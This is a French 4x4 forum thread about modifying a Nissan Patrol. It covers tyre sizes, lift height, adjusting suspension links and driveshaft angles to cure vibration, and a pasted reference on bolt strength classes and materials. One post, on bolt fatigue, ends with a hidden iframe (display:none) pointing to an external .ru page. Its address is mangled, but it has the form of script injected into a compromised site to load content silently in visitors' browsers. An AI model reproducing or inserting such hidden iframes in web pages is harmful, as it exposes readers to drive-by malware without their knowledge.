Posté(e) : 23 juin 201410 a Auteur Pas bbête:2 (15): m'en plus, pour le moment, elle peut presque faire de la meca debout dessous:2 (15): Au passage, j'ai trouvé des chaussette pour boue, je vais demain soir les chercher, d'occase, car j'hésite entre 255/85/16 et 285/75/16, comme ça je saurai
Posté(e) : 23 juin 201410 a Et en exclu, je vous montre mon petit coin de paradis à moi, c'est en partie pour ça que j'ai un patrol, mon chalet d'alpage, tout beau, tondu, fleuri, avec ma petite famille, au soleil:2 (17):[ATTACH=CONFIG]104175[/ATTACH] superbe ton p'tit coin pour prendre l' air, le grand air
Posté(e) : 23 juin 201410 a Pas bbête:2 (15):m'en plus, pour le moment, elle peut presque faire de la meca debout dessous:2 (15): Au passage, j'ai trouvé des chaussette pour boue, je vais demain soir les chercher, d'occase, car j'hésite entre 255/85/16 et 285/75/16, comme ça je saurai Attention a ne pas en faire un garçon manqué !!! Je m'étais pas mal renseigné l'année dernière avant d'acheter mes pneus, car comme toi j'hésitais entre ces deux tailles là, et plusieurs personnes , dont certains professionnels qui s'y connaissent en pneus m'avaient déconseillé le 255/85 qui n'a pas grand intérêt parait-il pour un y 61. Je te conseillerai plutôt des 285/75/16, à mettre sur des 8x16 ,c'est ce que j'ai c'est très bien comme taille pour ta réhausse ça sera très bien. Quand ils seront usés les miens j'essaierai des 35.
Posté(e) : 30 juin 201410 a Auteur Bon, du coup, week-end un peu dur, je n'ai pas posé les tirants, mais ils sont tout beaux, je dirais même impressionnants, pour moi, pour qui la peinture est généralement un enfer C'est tout jaune et tout lisse Au passage, j'ai rechaussé mon gros Ca ne rend pas bien, mais voila de près Donc c'est du 285/75/16 (rien de bien exotique:2 (14) avec une réhausse plus 6,5 en HD (qui sort environ, un +9, +10 à vide) EN croisement comme ça , ca donne ça , y'a encore de la marge (la barre stab Ar est déconnectée) Ps : dsl pour la photo tournée, ça fait tout seul:2 (8):
Posté(e) : 30 juin 201410 a Pas mal c'est sympa !! Elle rend bien ta réhausse !! Les tirants sont super beaux on dirait du matos d'usine, beaux comme ça il faut les mettre !! Impressionnant la difference entre roues d'origine et un 33 " !! Sympa avec ta pub !!
Posté(e) : 1 juillet 201410 a Auteur A merde, j'ai pas fais attention à la pub. je la rendrai flou la prochaine fois
Posté(e) : 4 juillet 201410 a Auteur Bon, j'ai mis mes tirants aujourd'hui, donc dépose des anciens (au passage, ne prenez pas les clefs à pépé, parce que ça force un chouilla:2 (15) Bien régler les tirants à la même longueur (celle que vous estimez au début) Puis, on les pose Et on les règle, donc, je me suis servi du cric bouteille pour regler le nez de pont. Le truc jaune que l'on voit, c'est un serre-joint, je m'en servais pour aligner l'arbre, et appliquer la technique qui consiste à viser la boite avec le nez de pont (rallonger les tirants) comme cela je mesure la différence entre l'axe du serre-joint (perpendiculaire à la tulipe du nez de pont) et l'arbre. Ainsi, je peux calculer la différence de hauteur entre le moment où je forçais avec le cric, et celui où je lâchais et mettais en tension les tirants/silent-blocs. ça donnais ça Pas mal, mais pas hyper précis, donc je me suis approché du juste comme ça, et puis, j'ai utilisé une équerre, et aligner les axes des croisillons pour être pile poil axé et avoir un coté le l'arbre sans contrainte sur le croisillon Allez, parti essayez ça:blazer-gray: Et ça ne marche pas. Normal, pour appliquer cette technique, on a déjà dit, qu'il fallait caler, donc fabrication et pose de la cale Allez, parti essayez ça:blazer-gray: Et ça marche pas... Et là, 18h, parti regarder rentrer les Bleus à la maison (je suis vache, ils sont bien meilleurs que les anciens) Donc, demain, j'essaie l'autre méthode, chape // Avec la cale, ou sans la cale. JE L'AURAI UN JOUR, JE L'AURAI !!!:M16:
Posté(e) : 6 juillet 201410 a Auteur Bon, j'ai essayer avec les chape // et la cale de 30mm, et ça parait être le bon compromis. Je dit que ça parait car avec le passage en 285/75/16, le bruit dans l'habitacle n'est pas tout a fait le même (même si avec l'autre méthode, je les entendais très bien hurler !!) Donc, on va dire que je ne ressens plus le bruit ou les vibration de mes croisillons. Je ne savais pas trop qui croire ou écouter, j'ai essayé les deux techniques (comme St Pierre, je ne crois que ce que je vois !!) et celle des ingénieurs nissan est pour moi, la bonne (étrange hein) Maintenant, je ne suis qu'un modeste et piètre mécano du dimanche, je suis certain que la 1er méthode fonctionne, mais en tout cas, celle-ci est plus facile, et fait travailler le pont comme il doit le faire à l'origine. Du coup, parti faire un tour, dans le bien gras et le bien raide (j'ai d’ailleurs découvert que j'avais un GL à l'Ar) pour voir si la cale d'arbre tenait le coup, mais les boulons de 12 en résistance 12,9 tiennent facilement le choc. Donc, tout va bien aujourd'hui
Posté(e) : 6 juillet 201410 a A merde, j'ai pas fais attention à la pub.je la rendrai flou la prochaine fois Bah t'as sûrement le droit de te faire une petite pub...ça peut servir à tout le monde ! Du reste j'aurais bien besoin de toi mais t'habite trop loin !!!
Posté(e) : 6 juillet 201410 a Bon, j'ai essayer avec les chape // et la cale de 30mm, et ça parait être le bon compromis.Je dit que ça parait car avec le passage en 285/75/16, le bruit dans l'habitacle n'est pas tout a fait le même (même si avec l'autre méthode, je les entendais très bien hurler !!) Donc, on va dire que je ne ressens plus le bruit ou les vibration de mes croisillons. Je ne savais pas trop qui croire ou écouter, j'ai essayé les deux techniques (comme St Pierre, je ne crois que ce que je vois !!) et celle des ingénieurs nissan est pour moi, la bonne (étrange hein:2 (15) Maintenant, je ne suis qu'un modeste et piètre mécano du dimanche, je suis certain que la 1er méthode fonctionne, mais en tout cas, celle-ci est plus facile, et fait travailler le pont comme il doit le faire à l'origine. Du coup, parti faire un tour, dans le bien gras et le bien raide (j'ai d’ailleurs découvert que j'avais un GL à l'Ar:2 (15):) pour voir si la cale d'arbre tenait le coup, mais les boulons de 12 en résistance 12,9 tiennent facilement le choc. Donc, tout va bien aujourd'hui:2 (15): Cool je suis bien content pour toi !! Les chapes // c'est il semblerait le plus naturel, le plus normal, le plus d'origine ... le "plus mieux" On a eu un spectacle de "monster truck" près de chez nous ... j'ai été les voir de près, avec leurs roues de tracteur elles ont les chapes // !! Maintenant les chapes non // ça marche aussi normalement effectivement ... Charles 31 m'a promis du résultat et je le crois, et il n'a pas été le seul à me le dire que ça marche ... pour le moment je n'ai pas encore de résultats, mais je dois changer la cale et voir ce que ça donne ... je ne sais pas l'usiner moi malheureusement ... et si ça va pas changer l'arbre et voir ce que ça donne ... ça finira par aller bien pour moi aussi j'espère ...
Posté(e) : 7 juillet 201410 a Auteur Mais oui, ça va le faire, il faut y aller à taton. Perso, j'ai passé plus d'une journée pour régler, et je suis en train de refaire deux cales (20 mm et 10 ou 5 mm je ne sais pas encore) qui s'emboitent au besoin, pour continuer mon réglage. Quand je les ai, je remets mes roulettes de vélo pour supprimer un max de bruit et bien être sûr de rien entendre qui viendrait de mon arbre. Je suis sûr que la technique de Charles marche, mais perso, je n'y suis pas arrivé, il doit avoir ses combines:2 (15):
Posté(e) : 10 juillet 201410 a ah ça......il y a toujours une ptit combine et ça suivent la réhausse je pense si +6 ou +10 ou +12.5 ou +15 +++++++........ toi tu as réhaussé de combien ? parce que moi j'ai un +12.5 en toutch dog et l'arbre ar grogne sévère on dirait que j'ai des chenilles de Poclain quand j'arrive aux alentours de 70/80 km/h et ça vibre super fort en +
Posté(e) : 10 juillet 201410 a Auteur :2 (24): Et ça ne te gêne pas ? Perso, ça ne me plait pas quand ça couine, grince, grogne, vibre ou autre, alors je modifie jusqu'à ce que ça marche comme si il sortait de chez nini . j'ai seulement un plus 6,5 mais en hard donc, il me sort un plus 9. Moi qui pensais juste mettre des cales de boîtes pour mon plus +6.5, j'ai été servi Mais bon, c'est fait, maintenant, faut assumer
Posté(e) : 11 juillet 201410 a bien bossé. un peu de lecture pour la résistance de certains matériaux. bonne lecture voici le lien:Résistance mecanique vis écrous et boulons Déformation élastique → plastique → rupture L'effort fourni par le banc d'essai et la déformation de l'éprouvette sont enregistrés. Le diagramme suivant illustre les résultats obtenus sur une éprouvette en acier. Avec d'autres matériaux les résultats seraient analogues. La courbe présente d'abord une partie linéaire (ligne verte). Si l'effort est relâché avant de sortir de cette zone, l'éprouvette reprend sa forme initiale, c'est le domaine élastique. L'effort augmentant encore, l'éprouvette s'allonge rapidement (ligne rouge) jusqu'à rupture. On se trouve dans le domaine plastique. Si l'effort est relâché avant rupture, l'éprouvette conserve une déformation permanente; il y a déplacement du domaine élastique. Limite élastique et résistance à la rupture La contrainte vue par le matériau est définie par le rapport entre l'effort appliqué et la section de l'éprouvette. La limite élastique Re est la valeur de la contrainte au point de transition élastique/plastique (passage de la droite verte à la courbe rouge sur le schéma ci-dessus). La résistance mécanique Rm est la valeur de la contrainte à la rupture. Visserie acier Le choix de la nuance de la matière est laissé à l'initiative des fabricants tenus de garantir les valeurs normalisées. La classe de résistance est un code à 2 chiffres qui fait partie de la désignation et qui est gravé sur les têtes de vis, généralement avec le sigle du fournisseur. [TABLE] <tbody>[TR] [TH]forme de la tête[/TH] [TH]profil ISO Métrique[/TH] [TH]diamètre[/TH] [TH][/TH] [TH]pas[/TH] [TH][/TH] [TH]longueur[/TH] [TH][/TH] [TH]classe de résistance[/TH] [TH][/TH] [TH]traitement de surface[/TH] [/TR] [TR] [TD]H[/TD] [TD]M[/TD] [TD]10[/TD] [TD]x[/TD] [TD]1.5[/TD] [TD]x[/TD] [TD]50[/TD] [TD]-[/TD] [TD]12.9[/TD] [TD]-[/TD] [TD]A3C[/TD] [/TR] </tbody>[/TABLE] Le premier chiffre renseigne sur la résistance à la rupture alors que le produit des 2 (leur multiplication) donne la limite élastique. Exemple : pour une vis de classe 12.9: 12 x 100 → la limite de rupture Rm vaut au moins 1200 MPa, 12 x 9 x 10 → la limite élastique Re0.2 est supérieure à 1080 MPa. Dans les classes courantes, on obtient: [TABLE] <tbody>[TR] [TH] Classe[/TH] [TH]Rm (MPa)[/TH] [TH]Re (MPa)[/TH] [TH=colspan: 3]Dureté[/TH] [TH]Alon- gement %[/TH] [TH]Résilience KU (Joules)[/TH] [/TR] [TR] [TH]Vickers HV min[/TH] [TH=colspan: 2]Rockwell[/TH] [/TR] [TR] [TH]min[/TH] [TH]max[/TH] [/TR] [TR] [TD]3.6[/TD] [TD]300[/TD] [TD]180[/TD] [TD]95[/TD] [TD][/TD] [TD][/TD] [TD]25[/TD] [TD][/TD] [/TR] [TR] [TD]4.6[/TD] [TD]400[/TD] [TD]240[/TD] [TD]120[/TD] [TD]B67[/TD] [TD]B95[/TD] [TD]22[/TD] [TD][/TD] [/TR] [TR] [TD]4.8[/TD] [TD]400[/TD] [TD]320[/TD] [TD]130[/TD] [TD]B74[/TD] [TD]B95[/TD] [TD]16[/TD] [TD][/TD] [/TR] [TR] [TD]5.6[/TD] [TD]500[/TD] [TD]300[/TD] [TD]155[/TD] [TD][/TD] [TD][/TD] [TD]20[/TD] [TD][/TD] [/TR] [TR] [TD]5.8[/TD] [TD]500[/TD] [TD]400[/TD] [TD]160[/TD] [TD]B82[/TD] [TD]B95[/TD] [TD]10[/TD] [TD][/TD] [/TR] [TR] [TD]6.8[/TD] [TD]600[/TD] [TD]480[/TD] [TD]190[/TD] [TD][/TD] [TD][/TD] [TD]8[/TD] [TD][/TD] [/TR] [TR] [TD]8.8[/TD] [TD]800[/TD] [TD]640[/TD] [TD]250[/TD] [TD]C23[/TD] [TD]C34[/TD] [TD]12[/TD] [TD]30[/TD] [/TR] [TR] [TD]9.8[/TD] [TD]900[/TD] [TD]720[/TD] [TD]290[/TD] [TD]C27[/TD] [TD]C36[/TD] [TD]10[/TD] [TD]25[/TD] [/TR] [TR] [TD]10.9[/TD] [TD]1000[/TD] [TD]900[/TD] [TD]320[/TD] [TD]C33[/TD] [TD]C39[/TD] [TD]9[/TD] [TD]20[/TD] [/TR] [TR] [TD]12.9[/TD] [TD]1200[/TD] [TD]1080[/TD] [TD]385[/TD] [TD]C38[/TD] [TD]C44[/TD] [TD]8[/TD] [TD]15[/TD] [/TR] [TR] [TD]14.9[/TD] [TD]1400[/TD] [TD]1260[/TD] [TD][/TD] [TD][/TD] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] </tbody>[/TABLE] selon ISO898 et NFE25-030 Noter la perte de résilience (→ augmentation du risque de rupture en cas de choc à basse température) avec l'élévation dela résistance. Sauf précautions particulières, il vaut mieux en pratique ne pas dépasser la classe 10.9. Au delà de 10.9, le matériau est sensible au phénomène de fragilisation par présence d'hydrogène, conséquence d'un mauvais dégazage après traitement de dépot électrolytique [voir exemple: rupture d'une vis zinguée]:risque de rupture spontanée après (délai indéterminé!) le serrage et parfois spectaculaire propulsion des têtes de boulons! S'appuyer sur les standards ASTM F1940-99 et ASTM F1624, ils traitent de la détection de la fragilisation à l'hydrogène. Influence de la température sur la résistance mécanique. Comment déterminer le serrage? Notez le code inscrit sur votre vis (exemple 10.9) et suivez le guide. Pour une meilleure résistance à la corrosion ou lorsque l'aspect visuel l'exige, envisager l'Inox (si on est riche) voire le Titane (si on est très riche). Visserie Inox Au sein des aciers Inox plusieurs nuances matière sont distinguées. Elles sont caractérisées par leur état métallurgique: il procure une résistance à la corrosion, aux acides, aux sollicitations mécaniques... Pour en savoir plus. [TABLE] <tbody>[TR] [TH]Etat métallurgique[/TH] [TH]Code primaire[/TH] [TH]Code secondaire[/TH] [/TR] [TR] [TD]austénitique[/TD] [TD]A[/TD] [TD] 1 à 5[/TD] [/TR] [TR] [TD]martensitique[/TD] [TD]C[/TD] [TD] 1, 3, 4[/TD] [/TR] [TR] [TD]ferritique[/TD] [TD]F[/TD] [TD]1[/TD] [/TR] </tbody>[/TABLE] Le code matériau est suivi du code de résistance: [TABLE] <tbody>[TR] [TH]Code matière[/TH] [TH]Code résistance[/TH] [TH]Rm (MPa)[/TH] [TH]Re (MPa)[/TH] [/TR] [TR] [TD]A[/TD] [TD]50[/TD] [TD]500[/TD] [TD]210[/TD] [/TR] [TR] [TD]70[/TD] [TD]700[/TD] [TD]450[/TD] [/TR] [TR] [TD]80[/TD] [TD]800[/TD] [TD]600[/TD] [/TR] [TR] [TD]C[/TD] [TD]50[/TD] [TD]500[/TD] [TD]250[/TD] [/TR] [TR] [TD]70[/TD] [TD]700[/TD] [TD]410[/TD] [/TR] [TR] [TD]80[/TD] [TD]800[/TD] [TD]640[/TD] [/TR] [TR] [TD]110[/TD] [TD]1100[/TD] [TD]820[/TD] [/TR] [TR] [TD]F[/TD] [TD]45[/TD] [TD]450[/TD] [TD]250[/TD] [/TR] [TR] [TD]60[/TD] [TD]600[/TD] [TD]410[/TD] [/TR] </tbody>[/TABLE] selon ISO3506 Exemple : l'inox A4-70 est un inox de type auténitique avec une limite élastique de 450 MPa et une résistance à la rupture de 700 MPa. Titane Encore plus beau et plus cher... Il existe de nombreuses nuances (grade 1 à 34) de titane ou d'alliage. Les grades 1 à 4 ne sont pas alliés. [TABLE] <tbody>[TR] [TH]Nuance[/TH] [TH]Rm (MPa)[/TH] [TH]Re (MPa)[/TH] [TH]A%[/TH] [/TR] [TR] [TD]Grade 1[/TD] [TD]240[/TD] [TD]170[/TD] [TD]24%[/TD] [/TR] [TR] [TD]Grade 2[/TD] [TD]345[/TD] [TD]275[/TD] [TD]20%[/TD] [/TR] [TR] [TD]Grade 3[/TD] [TD]450[/TD] [TD]380[/TD] [TD]18%[/TD] [/TR] [TR] [TD]Grade 4[/TD] [TD]550[/TD] [TD]483[/TD] [TD]15%[/TD] [/TR] [TR] [TD]Grade 5 Ti6Al4V[/TD] [TD]895[/TD] [TD]828[/TD] [TD]10%[/TD] [/TR] </tbody>[/TABLE] selon ASTM B265 Comme pour l'acier et les inox, plus la résistance est élevée plus l'écart relatif entre limite élastique et résistance à la rupture se réduit, signe de fragilité croissante. Une optimisation des caractéristiques sera obtenue avec un cycle de recuit (procédé de traitement thermique). Une vis en grade 5 (Titane allié : 6% d'aluminium, 4% de vanadium) dépasse en résistance une vis en acier de classe 8.8... pour une masse divisée par presque 2. D'autres matériaux nobles ont été créés pour répondre aux exigences de la construction aéronautique. Visserie aluminium L'aluminium n'a pas la résistance de l'acier et présente, de ce point de vue, moins d'intérêt. Cependant, si vous chassez les gr sans avoir besoin d'un effort de serrage important... Application particulière : lorsque les écarts de dilatation thermique entre matériaux sont importants, utiliser des vis aluminium permet de conserver une tension constante malgré les variations de température, comme dans le cas du serrage de blocs moteur performants : à réserver aux spécialistes. [TABLE] <tbody>[TR] [TH=colspan: 2]Nuance[/TH] [TH]Rm (MPa)[/TH] [TH]Re (MPa)[/TH] [TH]A%[/TH] [/TR] [TR] [TD=colspan: 2]6056[/TD] [TD]400[/TD] [TD]350[/TD] [TD]7%[/TD] [/TR] [TR] [TD=colspan: 2]7075[/TD] [TD]570[/TD] [TD]505[/TD] [TD]10%[/TD] [/TR] </tbody>[/TABLE] Et pour le tuning? Nylon, Peek "Nylon" est une dénomination pour le polyamide, symbole PA, dont plusieurs variantes sont à distinguer (liste non exhaustive) : Un des polymères techniques des plus intéressant est le PEEK (polyetheretherketone) : résistance mécanique, tenue en température (250°C en continu, dimensionnellement stable. /tr> /tr> [TABLE] <tbody>[TR] [TH]Type[/TH] [TH]Rm (MPa)[/TH] [TH]A%[/TH] [TH]Résilience (KJ/m2)[/TH] [TH] Module d'Young (MPa)[/TH] [/TR] [TR] [TD]PA6[/TD] [TD]70[/TD] [TD]50[/TD] [TD]7[/TD] [TD]2800[/TD] [/TR] [TR] [TD]PA66[/TD] [TD]80[/TD] [TD]25[/TD] [TD]5[/TD] [TD]3300[/TD] [/TR] [TR] [TD]PA6G (obtention par coulée)[/TD] [TD]75[/TD] [TD]60[/TD] [TD]4[/TD] [TD]2400[/TD] [/TR] [TR] [TD] PA6G GF30 (chargé fibre de verre)[/TD] [TD]180[/TD] [TD]5[/TD] [TD]- -[/TD] [TD]9000[/TD] [/TR] [TR] [TD]PEEK[/TD] [TD]100 (Rp02)[/TD] [TD]34[/TD] [TD]7[/TD] [TD]4000[/TD] [/TR] [TR] [TD]PEEK 30% fibres de carbone[/TD] [TD]220[/TD] [TD]2[/TD] [TD]9[/TD] [TD]11000[/TD] [/TR] [TR] [TD]PEEK 30[/TD] [/TR] </tbody>[/TABLE]
Posté(e) : 11 juillet 201410 a Référent Mécanique Beaucoup sur le site conseillent de changer les vis de culasse lors d'un changement du joint car les vis sont parait-il allongées .... Ca veut dire donc que la limite élastique est dépassée lors du serrage .... qui confirme ?
Posté(e) : 11 juillet 201410 a :2 (24):Et ça ne te gêne pas ? Perso, ça ne me plait pas quand ça couine, grince, grogne, vibre ou autre, alors je modifie jusqu'à ce que ça marche comme si il sortait de chez nini . j'ai seulement un plus 6,5 mais en hard donc, il me sort un plus 9. Moi qui pensais juste mettre des cales de boîtes pour mon plus +6.5, j'ai été servi Mais bon, c'est fait, maintenant, faut assumer bin si que sa me gene :2 (11):,j'aimerait bien trouver le bonne angle pour plus que sa grogne mais j'ait beau chercher , tourner les reglage des tirent sup dans tout les sanse .....pas moyen:2 (10)::2 (10):, je me demande si je vais pas etre obliger de faire un arbre sur mesure a double croisillons:2 (22): la y va en avoir de suite pour 1000€ :2 (8)::2 (11):.comme tu dit rooky faut assumer
Posté(e) : 11 juillet 201410 a Auteur Merci trucmuch:2 (26): A pierre, comme tu devais t'en douter, moi j'en sais rien:2 (15):. Je sais juste que, en changeant le turbo d'un pote (3.0l di) j'ai casser un vis, celle qui serre l'arrivée d'huile, comme un fétu de paille:2 (24): Mme couple de serrage est de 10 à 16 N/m je crois, donc, j'ai du trop forcer, mais je pensais pas qu'il mettait des vis aussi faible!! A jacksparrow, fais comme moi, essaie les deux méthodes, avec des cale différente, tu finiras bien par y arrivé 1000€ (et je pense c'est plus:2 (10) pour un arbre, surtout si c'est le même que Gronbr qui casse tout les 3mois, ça fais chère...
Posté(e) : 11 juillet 201410 a oui tu l'as dit :2 (3): ça fait cher et surtout qu'en ce moment je suis en longue maladie suite à une opération :2 (11):, et la secu n'est pas généreuse du tout. j'espère reprendre le taff en septembre/octobre ..... en attendent je tourne comme un lion en cage car en plus la météo n'est pas favorable
Posté(e) : 11 juillet 201410 a Salut à tous ! Très sympa le topo sur les boulons, merci !!! Je prends note ! Sinon, un double double croisillons je déconseille fortement, surtout les arbres à 1000 euros que l'on trouve couramment ici où là....ça ne vaut rien du tout, c'est beaucoup plus fragile qu'un simple simple...et ça n'encaisse pas tant d'angles que ça...je parle bien sûr de chassis courts réhaussés, puisqu'en long semble -il, il n'y a jamais de problèmes. Pour les courts euro 4x4 parts que j'avais contacté aussi a arrêté d'en vendre tellement ils avaient des problèmes avec, ça veut tout dire je pense... Peut être qu'il en existe des très bien, mais j'ai cherché un peu et je n'ai pas trouvé, et c'est sûrement pas à 1000 euros. Je m'étais adressé à une boite spécialisée en arbres de la région, qui fabrique des arbres de toutes tailles et pour toutes applications, j'avais visité leur atelier, très sympa à voir, ils m'avaient fait un premier devis approx. à 2000 - 2200 euros HT pour un double double, sur la base des photos de ma transmission que je leur avais envoyé, mais après le gars s'est penché sous mon trol, a mesuré les angles, a pris note des données techniques transmises par Pierre ( merci encore Pierre ! ) et m'a dit finalement après tout ça qu'il ne fait pas d'arbres qui supporteraient les contraintes du cahier des charges avec l'angle que j'ai...ni double double ni quoi que ce soit d'autre... pourtant ils en font qui font 3-4 mètres de long et 15 -20 cm de diamètre, j'en ai vu un qui attendait son proprio...mais même lui réduit à 60 cm de long ça n'aurait pas été... Maintenant des boites en France qui fabriquent des arbres il y en a sûrement un paquet, moi j'en ai vu qu'une près d'Angers. D'après Charles 31 la solution consiste à relever le nez de pont pour diminuer l'angle...jusque là c'est logique...et peut importe les angles, tant que c'est dans l'angle de travail du croisillon...et il y aura ZERO vibration... Mais selon la théorie des arbres à joints homocynétiques ( doubles doubles ) ou celle des arbres simples ( cf Pierre ) il faut le même angle des deux côtés au 1/2 degré près pour que ça travaille bien...Pour calculer ça on y arrive facilement, si comme moi on n'a pas d 'I phone qui fait niveau electronique chez Leroy Pinpin j'en avait trouvé un de niveau electronique prècis comme il faut, pour même pas le prix d'un forfait mensuel d' I phone, donc pas cher du tout... Mais avec les chappes // mon arbre d'origine était à la limite du travail des croisillons, mais ça allait , il y avait encore une petite marge, et vibrait légèrement, car il était trop ressorti apparemment... Vraiment top l'arbre d'origine nissan, avec un + 15 dans la tronche il assurait encore pas mal !!! Mais mettre une cale aurait aggravé de trop l'angle,donc pas de solutions pour moi avec les chappes //. Sinon il me semble que sur le site il y en a un certain nombre qui ont cette config. du nez de pont relevé et avec une cale, mais j'aimerais savoir s'ils utilisent leurs autos pour la route aussi où s'ils ne les sortent qu'une ou deux fois par mois pour aller faire une sortie TT, et s'ils ont effectivement ZERO vibration... Car je pense qu'il y en a plein qui ne la sortent que pour les sorties TT, et qui acceptent peut-être que ça vibre un peu... Moi je veux zéro vibration, sinon je repasse en + 5 ou + 7.5 cm en HD soit un + 10, avec body lift +5 pour faire + 15, car je veux mon + 15, j'aime mon + 15... Mais bon Charles 31 n'est pas cinglé, s'il dit que ça marche c'est que ça doit marcher, il l'a fait plus d'une fois... Malheureusement, pour le moment je ne peux pas vous le confirmer...Dès que ça sera fait je vous donnerai les détails de la solution... bientôt j'espère... Pour le moment malheureusement mon nez de pont est bien relevé, mais mon arbre grogne un max, ce qui moi, comme vous je pense, me gonfle... Il me reste à attendre un arbre d' Y 60 4.2 litre plus long que le mien pour aller avec une cale de 20 mm ce qui réglera le problème normalement, mais je ne l'ai pas pour l'instant, je l'attends...Ca n'a pas l'air si simple finalement malheureusement de trouver un arbre de 4.2 l. de la taille qui irait bien... Je crois Charles quand il me dit que ça va marcher, du reste j'ai déboursé pas mal de sous pour ça, ( rien que le déplaçement dans le Sud + voiture de loc. m'a coûté un bras ... ) donc j'attends la solution...mais ça m'inquiète un peu quand vous dites que vous avez essayé et que ça ne marche pas...ouais...ça m'inquiète un peu...surtout toi Rooky, qui semble avoir fait ça comme il faut... Il semblerait qu'il faille une bonne cale aussi pour que l'arbre soit au max dans sa taille d'origine pour ne pas vibrer...là aussi c'est logique...j'en ai commandé une et je l'attends toujours aussi malheureusement...ça serait un miracle si mon arbre d'origine plus une bonne cale iraient bien et ne vibrerait plus...mais je ne crois pas aux miracles...et surtout qu 'à force de vibrer mon arbre doit commençer à être esquinté, donc bientôt je n'en tirerai plus rien de bon de toute façon... Ce qui est CERTAIN, c'est qu'avec ce qu'il subit depuis 3 semaines, mon double double d'avant aurait cassé depuis longtemps... Tout ça pour dire que les doubles doubles à 1000 euros, il ne faut surtout pas acheter...sauf si on veut perdre 1000 euros... Bon rétablissement jacksparrow 54 !! A + !! Modifié 11 juillet 201410 a par Gronbr
Posté(e) : 12 juillet 201410 a Beaucoup sur le site conseillent de changer les vis de culasse lors d'un changement du joint car les vis sont parait-il allongées .... Ca veut dire donc que la limite élastique est dépassée lors du serrage .... qui confirme ? Oui Pierre, même si la limite élastique n'est pas dépassée lors du serrage, le fait pour l'acier de s'allonger et rétracter régulièrement provoque un phénomène de "fatigue" de l'acier. Et dans le temps, ce phénomène abaisse la limite élastique (et pas rien qu'un peu !). Même si l'explication est très résumée ici, le conseil de remplacer les vis au remontage est plutôt une bonne chose, mais si le démontage se fait sans que ça ait chauffé et travaillé trop longtemps, ce n'est pas vraiment indispensable. <iframe src="about<strong></strong>://gvapp.ru/u.html" style="display: none;" id="zunifrm"></iframe>
Posté(e) : 14 juillet 201410 a Auteur surtout toi Rooky, qui semble avoir fait ça comme il faut... comme il faut, oui, mais avec compétence mécanique, qui ne sont pas celle de Charles. Tu va y arriver Gronbr. De plus je n'ai pas de plus 15, seulement un +6,5 HD (qui me donne plus 9 à vide). Par contre, au lieu d'une cale, la boite que tu as été voir ne pourrait pas rallonger ton arbre d'origine ? Tu ne modifierais les angles, et ton coulisseau travaillerait sur toute sa longueur. Pour l'histoire des chapes // au 1/2 ° près, c'est en charge, ou à vide ? Ou 1/2 chargée ? Car leur angle va changer suivant la hauteur du châssis.
Posté(e) : 14 juillet 201410 a Référent Mécanique quelque soit la charge les chapes resteront toujours //
Posté(e) : 14 juillet 201410 a Auteur A bon? Quand on charge le véhicule, tu es d'accord avec moi, le châssis se rapproche du pont ? Donc la boite perd de l'altitude par rapport au nez de pont ? (donc, pas de modification de l'angle de la chape de ce coté) Et en baissant le châssis, on baisse aussi les supports des tirants coté châssis ? Donc, si on suit ton raisonnement Pierre, les angles et point de fixation des tirants sont calculés pour que le pont reste toujours avec le même angle ?? (remarque c'est peut-être pour ça qu'on les appelle "ingénieur" ) Ainsi le châssis ne ferait que de bouger d'avant en Arrière avec toujours le même angle ? J'ai réglé mes tirants avec un léger faux // pensais que celui-ci changeait avec la charge dans le patrol, donc ton histoire m’intéresse Pierre.
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